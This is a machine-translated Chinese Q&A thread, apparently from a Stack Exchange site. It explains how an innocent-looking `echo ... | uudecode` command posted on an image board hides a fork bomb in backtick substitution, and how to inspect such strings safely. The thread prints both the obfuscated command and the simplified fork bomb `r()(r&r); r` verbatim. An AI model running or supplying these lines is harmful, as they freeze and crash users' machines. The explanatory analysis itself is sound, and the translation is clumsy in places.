在随机陈板上找到:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
以某种方式运行此操作会导致无限的生成过程,该过程猖ramp运行,并使机器停止运转。我看到有关“ su”的尝试多次执行的信息。
..这很奇怪,因为我只希望输出文本,而不执行任何内容。
通过在线解码器运行此文本只会给我一批二进制代码:
这种乱七八糟的文本实际上是做什么的,有没有办法“安全”地查看它?
在随机陈板上找到:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
以某种方式运行此操作会导致无限的生成过程,该过程猖ramp运行,并使机器停止运转。我看到有关“ su”的尝试多次执行的信息。
..这很奇怪,因为我只希望输出文本,而不执行任何内容。
通过在线解码器运行此文本只会给我一批二进制代码:
这种乱七八糟的文本实际上是做什么的,有没有办法“安全”地查看它?
Answers:
首先,让我们看一下整个命令:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
它包含一个双引号字符串,该字符串将回显到uudecode
。但是,请注意,在双引号字符串内是一个反引号字符串。该字符串被执行。字符串是:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
如果我们查看其中的内容,则会看到三个命令:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
在中间命令上执行大括号扩展,我们有:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
第一行尝试在后台运行废话命令。这无关紧要。
第二行很重要:它定义了一个函数r
,该函数在运行时会启动自身的两个副本。当然,这些副本中的每一个都会推出另外两个副本。等等。
第三行运行r
,开始叉式炸弹。
在反引号字符串之外的其余代码对于混淆来说只是胡说八道。
如果我们在函数嵌套级别上设置限制,则可以安全地运行此代码。这可以通过bash的FUNCNEST
变量来完成。在这里,我们将其设置为2
,这将停止递归:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
上面的错误消息表明:(a)没有意义的命令rYWdl
,Y29j
并且没有找到;(b)叉子炸弹被FUNCNEST反复停止;(c)的输出echo
不以开头begin
,因此对于无效uudecode
。
如果我们消除遮盖物,叉式炸弹会是什么样?正如njzk2和gerrit所建议的那样,它看起来像:
echo "`r()(r&r);r`"
我们可以进一步简化:
r()(r&r); r
它由两个语句组成:一个语句定义fork-bomb-function r
,第二个语句r
。
所有其他代码,包括到的管道uudecode
,都只是为了掩盖和误导。
OP提供了指向该代码出现的渠道委员会讨论的链接。如此处所示,代码如下所示:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
请注意有关此代码的第一个注释:
我爱上了它。仅复制了回声和解码的部分,但仍然被格式化
在通道板上的表单中,人们会天真地认为问题可能出eval
在的输出上uudecode
。这会使人们认为删除eval
将解决问题。正如我们在上面看到的,这是错误的,并且是危险的。
uudecode
这里完全无关紧要。有一会儿我以为uudecode
执行回引号字符串内插会从根本上使它不安全,但是fork炸弹是在uudecode完全启动之前发生的。
&
:echo "`r()(r&r);r`"
。
要回答问题的第二部分:
...有没有办法“安全”地查看它?
要对字符串进行解散,请将外部双引号替换为单引号,并转义出现在字符串内部的单引号。这样,shell将不会执行任何代码,实际上您将所有内容直接传递给uudecode
:
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line
评论中还指出了其他替代方法:
$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Jacob Krall建议使用文本编辑器,粘贴内容,然后将该文件传递给uudecode。
uudecode
在命令行上键入。按回车。复制粘贴要解码的字符串。
uudecode
。
echo "foo`die`bar'`die`'baz"
first!也就是说,如果其中包含任何'
,那么用单引号替换引号将是不够的。
乍一看,您可能会认为输出到Shell永远不会得到执行。这仍然是事实。问题已经在输入中。这里的主要技巧是程序员称为运算符优先级。这是外壳程序尝试处理您的输入的顺序:
1. " "
2. rYWdl
3. &
4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo})
5. ;
6. r
7. ` `
8. I<RA('1E<W3t 26<F]F;==
9. echo
10. |
11. uudecode
错误是认为这echo
将是第一个要执行的命令,uudecode
第二个要执行。他们将永远不会达到。
结论:在外壳上双引号始终很危险。